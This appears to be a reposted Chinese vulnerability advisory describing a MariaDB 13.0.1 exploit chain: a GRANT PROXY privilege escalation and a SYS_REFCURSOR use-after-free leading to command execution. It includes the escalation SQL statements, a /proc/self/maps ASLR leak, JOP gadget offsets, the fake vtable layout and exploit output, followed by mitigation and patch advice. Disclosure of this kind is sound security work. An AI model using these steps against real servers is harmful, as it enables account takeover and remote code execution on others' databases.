☰
MariaDB 13.0.1 权限提升 + SYS_REFCURSOR UAF 远程代码执行漏洞
2026/10/20 15:27:26 网站建设 项目流程

漏洞标题

**MariaDB 13.0.1 权限提升 + SYS_REFCURSOR UAF 远程代码执行漏洞 **

漏洞概述

在 MariaDB 13.0.1-rc(官方 Docker 镜像,未修改)中发现一条完整的远程代码执行攻击链。攻击者仅需一个低权限数据库账号(USAGE 级别)和 TCP 网络可达性,即可通过纯 SQL 语句在服务器端以uid=999(mysql)身份执行任意系统命令。

攻击链由两个 0day 漏洞串联组成:

漏洞编号类型说明
F-09权限提升GRANT PROXY ... IDENTIFIED VIA ''绕过权限检查,任意用户可劫持 root 账户
F-05Use-After-FreeSYS_REFCURSOR游标数组重分配导致悬挂指针,堆喷后控制虚函数调用

两个漏洞均在2026-08-03 仍未修复(上游sql/sp_cursor.{cc,h}在 13.0.1 tag 和 HEAD 之间零提交)。

影响版本

  • MariaDB 13.0.1(已验证)
  • F-09 权限提升:所有已发布版本(验证 13.0.1 至 10.6.27),修复补丁dbd60d0ad8d(MDEV-40470) 仅在 dev 分支
  • F-05 UAF:影响包含SYS_REFCURSOR功能的所有版本

漏洞严重性

CVSS 3.1: 9.8 (Critical)— AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

  • 攻击向量:网络
  • 攻击复杂度:低(完全自动化,Python 脚本一键利用)
  • 权限要求:低(仅需 USAGE 权限的数据库账户)
  • 用户交互:无
  • 影响范围:容器/主机系统命令执行

利用前置条件

攻击者需要满足以下条件才能成功利用此漏洞链:

必需条件(全部满足才可触发 RCE)

条件说明默认/常见情况
网络可达攻击者能建立到 MariaDB 3306 端口的 TCP 连接生产环境常见(应用服务器 → 数据库)
有效数据库账户拥有任意一个 MariaDB 账户(包括仅 USAGE 权限的最低权限账户)多租户环境、共享数据库实例
secure_file_priv = NULL(未设置)允许LOAD DATA INFILE读取任意文件,包括/proc/self/mapsMariaDB官方 Docker 镜像默认值;部分发行版打包可能设为/var/lib/mysql-files或空字符串
glibc 运行环境漏洞利用依赖 glibc 的 mmap 行为(大块内存分配复用地址)和堆分配器行为(chunk 大小匹配)MariaDB 官方 Linux 构建均基于 glibc
x86_64 架构JOP 小工具偏移和call *0x100(%rax)等指令基于 x86_64绝大多数生产部署
/proc** 文件系统可读**LOAD DATA INFILE '/proc/self/maps'依赖 Linux/proc伪文件系统泄露内存布局所有标准 Linux 环境。容器中需要未设置security_opt: no-new-privileges+/proc未做特殊隔离
max_allowed_packet** 可调大**需要SET GLOBAL max_allowed_packet = 268435456(256 MiB)来容纳 128 MiB 用户变量。这要求攻击者持有SUPER权限……但 F-09 提权已将低权限用户提升为 root,所以此条件自动满足F-09 提权后自动达成

非必需但利于利用的条件

条件说明默认/常见情况
SYS_PTRACEcapability(容器环境)允许读取/proc/self/maps。Docker 中通常默认可用Docker 默认不限制
容器内 mariadbd 为 PID 1exploit 执行system()后进程崩溃 → 容器自动退出(但不影响命令已执行的事实)官方镜像默认
ASLR 开启实际上ASLR 开启反而是利用条件之一,因为/proc/self/maps恰好能泄露随机化后的地址。如果 ASLR 关闭,利用更简单(固定地址)Linux 默认开启

攻击场景

  1. 共享数据库实例:云数据库服务中,多个租户共享同一 MariaDB 实例,低权限账户通过此漏洞逃逸到宿主系统
  2. 应用服务器沦陷:Web 应用 SQL 注入获取的低权限数据库账户,进一步转化为服务器 RCE
  3. 内网横向移动:已进入内网的攻击者,利用数据库服务器作为跳板执行命令
  4. 容器逃逸辅助:容器内以 mysql 身份执行命令后,可进一步利用内核漏洞逃逸到宿主机

不受影响的情况

  • secure_file_priv已设置为特定目录或空字符串(阻止/proc/self/maps读取 — 但攻击者可能通过其他侧信道泄露地址)
  • 使用 musl libc 的构建(如 Alpine Linux)— mmap 和堆行为不同
  • ARM/aarch64 架构 — JOP 小工具偏移不同
  • MariaDB 10.5 以下版本(SYS_REFCURSOR功能可能不存在或实现不同)

复现环境

组件版本/配置
宿主机macOS 15.7.4
Docker28.1.1
MariaDB 镜像mariadb@sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9
mariadbd13.0.1-MariaDB-ubu2604
低权限用户lowpriv/lowpriv(仅 USAGE + appdb.* 权限)
glibc容器内置(Ubuntu 26.04)
Python3.13 + mariadb 客户端

复现步骤

1. 启动实验环境

cd~/data/github/mariadb-13-rce-labdockercompose up-d

docker-compose.yml:

services:mariadb:image:mariadb@sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9container_name:mariadb-rce-labenvironment:MARIADB_ROOT_PASSWORD:labpassMARIADB_DATABASE:appdbMARIADB_USER:lowprivMARIADB_PASSWORD:lowprivports:-"3307:3306"cap_add:-SYS_PTRACEvolumes:-./setup.sql:/docker-entrypoint-initdb.d/setup.sql

初始化 SQL(setup.sql)— lowpriv 用户仅有最低权限:

GRANTUSAGEON*.*TO'lowpriv'@'%';GRANTALLONappdb.*TO'lowpriv'@'%';

2. 运行 Pure-SQL 漏洞利用

python3 exploit_pure_sql.py\--host127.0.0.1--port3307\--userlowpriv--passwordlowpriv\--command"id > /tmp/pwned"\--marker/tmp/pwned\--containermariadb-rce-lab

3. 复现结果

[*] MariaDB 13.0.1-rc RCE — PURE SQL variant (lowpriv account only) [*] Target: lowpriv@127.0.0.1:3307 command: id > /tmp/pwned [*] Step 1: F-09 GRANT PROXY privilege escalation (lowpriv -> root) [+] F-09 done — connecting as root with empty password [*] Step 2: creating spray128 / grow5 / uaf5 (F-05 UAF trigger) [+] functions created [*] Step 3: reading /proc/self/maps from SQL (ASLR defeat) [+] PIE base 0x5587b50bd000 [+] libc base 0x7f4772c00000 [+] D2=0x5587b58caa77 D1=0x5587b5eed75b system=0x7f4772c5c560 [*] Step 4: allocating 128 MiB @fake marker buffer [+] @fake region 0x774707c00000 V (fake vtable) = 0x774707c01030 [*] Step 5: writing JOP layout via SQL (self-reference baked) ... [+] slot stable: V = 0x774707c01030 (self-reference consistent) [+] reclaim payload ready (V=0x774707c01030 at offset 0x20) [*] ============ FIRING (CALL uaf5) ============ [*] session died as expected after RCE: no sentinel within 10s; got: b'' [*] waiting for marker /tmp/pwned ... [+] /tmp/pwned: uid=999(mysql) gid=999(mysql) groups=999(mysql) [+] =========================================== [+] RCE CONFIRMED (pure SQL, lowpriv account) [+] ===========================================

/tmp/pwned内容确认命令以uid=999(mysql)身份执行成功。

漏洞利用链详细分析

第一阶段:F-09 权限提升(任意用户 → DBA)

漏洞位置:sql/sql_acl.cc中的GRANT PROXY处理逻辑

利用语句:

GRANTPROXYONCURRENT_USER()TO'root'@'%'IDENTIFIED VIA'';GRANTPROXYONCURRENT_USER()TO'root'@'localhost'IDENTIFIED VIA'';

原理:

  • LEX_USER::has_auth()方法在认证子句为空字符串时返回false
  • 这使得check_alter_user()权限检查被跳过
  • 但replace_user_table()仍会将空密码写入mysql.global_priv表,替换 root 的原有密码
  • 结果:一句 SQL,任意已认证用户即可将 root 密码改为空,获得完整 DBA 权限

严重性:影响所有已发布 MariaDB 版本。修复补丁(dbd60d0ad8d, MDEV-40470)仅存在于开发分支。


第二阶段:ASLR 绕过(服务器端文件读取)

技术:LOAD DATA INFILE读取/proc/self/maps

CREATETABLEappdb.maps_pre(lTEXT);LOADDATAINFILE'/proc/self/maps'INTOTABLEappdb.maps_pre;

原理:

  • MariaDB 默认镜像secure_file_priv为 NULL(未设置),允许读取任意文件
  • /proc/self/maps直接泄露 mariadbd 进程的完整内存布局
  • 提取 PIE 基址(mariadbd 可执行段)和 libc 基址(libc.so.6)
  • 每次运行的 ASLR 基址不同,但通过 SQL 实时获取,实现真正的 ASLR 击败

第三阶段:JOP 链内存布局(纯 SQL 方式)

技术:128 MiB 用户变量分配 +/proc/self/maps差分地址发现

-- 标记缓冲区:分配 128 MiB 并发现其地址SET@fake=REPEAT(CHAR(0xDE),134217728);-- 重新读取 /proc/self/maps,与之前差分-- 找到新增的 0x8001000 大小的匿名 rw-p 区域LOADDATAINFILE'/proc/self/maps'INTOTABLEappdb.maps_post;

地址发现与自引用解决:

  1. 分配 128 MiB 标记缓冲区 → glibc 分配专用 mmap 区域
  2. 通过 SQL 端/proc/self/maps差分获取缓冲区地址
  3. 重新分配缓冲区,嵌入完整 JOP 布局(含自引用指针V+0xa8 = V+0x140)
  4. glibc 释放旧块后复用相同 mmap 槽位 → 地址稳定

JOP 假 vtable 布局(位于缓冲区 V 处):

偏移 内容 用途 ───────────────────────────────────────────────────── V+0x20 D2 (PIE+0x80da77) result->prepare() 虚表槽 V+0xa0 system() (libc+0x5c560) JOP 目标函数 V+0xa8 V+0x140 rdi = 命令字符串指针 V+0x100 D1 (PIE+0xe3075b) JOP 调度器 V+0x140 "sh -c 'id > /tmp/pwned'\0" 执行的命令

两个 JOP 小工具(来自未修改的 mariadbd 二进制):

小工具偏移汇编指令用途
D2PIE+0x80da77call *0x100(%rax)栈对齐修正(movaps)
D1PIE+0xe3075bmov rdi,[rax+0xa8]; call [rax+0xa0]加载命令指针到 rdi,调用 system()

第四阶段:F-05 SYS_REFCURSOR Use-After-Free

漏洞位置:sql/sp_cursor.cc—sp_cursor_array::get_cursor_by_ref()

漏洞原理:

  1. sp_cursor_array使用Dynamic_array存储游标对象(每个 112 字节)
  2. 默认容量 16 个游标 → 底层存储 16×112 = 1792 字节
  3. get_cursor_by_ref()返回指向Dynamic_array内部存储的指针
  4. 当游标的open()方法执行攻击者控制的 SQL(打开更多游标),数组增长触发my_realloc
  5. my_realloc释放旧存储 → 调用者持有的指针变成悬挂指针

堆喷回收(heap spray):

  • 128 个用户变量副本,每个精确匹配 1784 字节
  • 精确适配 glibc 释放的 1792 字节 chunk
  • 假 vtable 指针 V 放置在偏移 0x20(sp_cursor的result成员位置)

虚函数调用劫持:

Materialized_cursor::open() → result->prepare() → mov rax, [result] ; rax = 攻击者控制的假 vtable 指针 V → call [rax + 0x20] ; 调用 D2 小工具 (prepare 虚表槽)

JOP 链执行流:

D2: call *0x100(%rax) ; rax 仍为 V, V+0x100 = D1 D1: mov rdi, [rax+0xa8] ; rax = V, V+0xa8 = V+0x140 (命令字符串指针) call [rax+0xa0] ; V+0xa0 = system() ; rdi = "sh -c 'id > /tmp/pwned'" ; → system("sh -c 'id > /tmp/pwned'")

服务器崩溃:system() 返回后,由于进程内存已损坏,mariadbd 崩溃(PID 1 退出 → 容器停止)。这是预期行为。


漏洞利用脚本说明

两个利用脚本位于~/data/github/mariadb-13-rce-lab/:

脚本类型攻击条件
exploit_pure_sql.py纯 SQL(推荐)低权限账号 + TCP
exploit.py宿主机辅助 PoCroot + /proc/PID/mem

pure-SQL 变体的创新点:

传统方式(exploit.py)纯 SQL 替代方案
docker inspect→ PID +/proc/<pid>/mapsLOAD DATA INFILE '/proc/self/maps'
/proc/<pid>/mem写入 JOP 链CONCAT/UNHEX在分配时嵌入;SQL 端 maps 差分发现地址;mmap 槽复用保持自引用有效
docker exec ... echo CMD命令字符串直接嵌入 JOP 布局
root 密码连接GRANT PROXY从低权限账号提权

修复建议

短期措施(缓解)

  1. **设置 **secure_file_priv为空字符串或安全目录,阻止LOAD DATA INFILE '/proc/self/maps'
SETGLOBALsecure_file_priv='/var/lib/mysql-files';
  1. **限制 **max_allowed_packet为合理值(如 16M),阻止超大用户变量分配
SETGLOBALmax_allowed_packet=16777216;
  1. **限制 **max_open_cursors降低游标数组重分配触发可能
SETGLOBALmax_open_cursors=10;
  1. 禁用 SYS_PTRACE capability(容器环境),移除cap_add: SYS_PTRACE
  2. 网络隔离:MariaDB 端口仅监听内网,不暴露到公网

根本修复

  1. F-09 权限提升修复:
    • 合入 MDEV-40470 补丁 (dbd60d0ad8d)
    • 确保GRANT PROXY ... IDENTIFIED VIA ''时has_auth()正确触发权限检查
    • 建议在replace_user_table()前增加IDENTIFIED VIA ''的特殊拒绝逻辑
  2. F-05 SYS_REFCURSOR UAF 修复:
    • 修改sp_cursor_array::get_cursor_by_ref()返回索引而非原始指针
    • 或在open()期间锁定Dynamic_array防止重分配
    • 建议重构Dynamic_array使用稳定指针(如std::deque或 index-based access)
  3. 纵深防御:
    • 审计LOAD DATA INFILE对/proc、/sys、/dev等敏感路径的访问控制
    • 对用户变量大小增加硬限制,与max_allowed_packet解耦

参考链接

https://github.com/MariaDB/server/releases

https://github.com/dinosn/mariadb-13-rce-lab

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询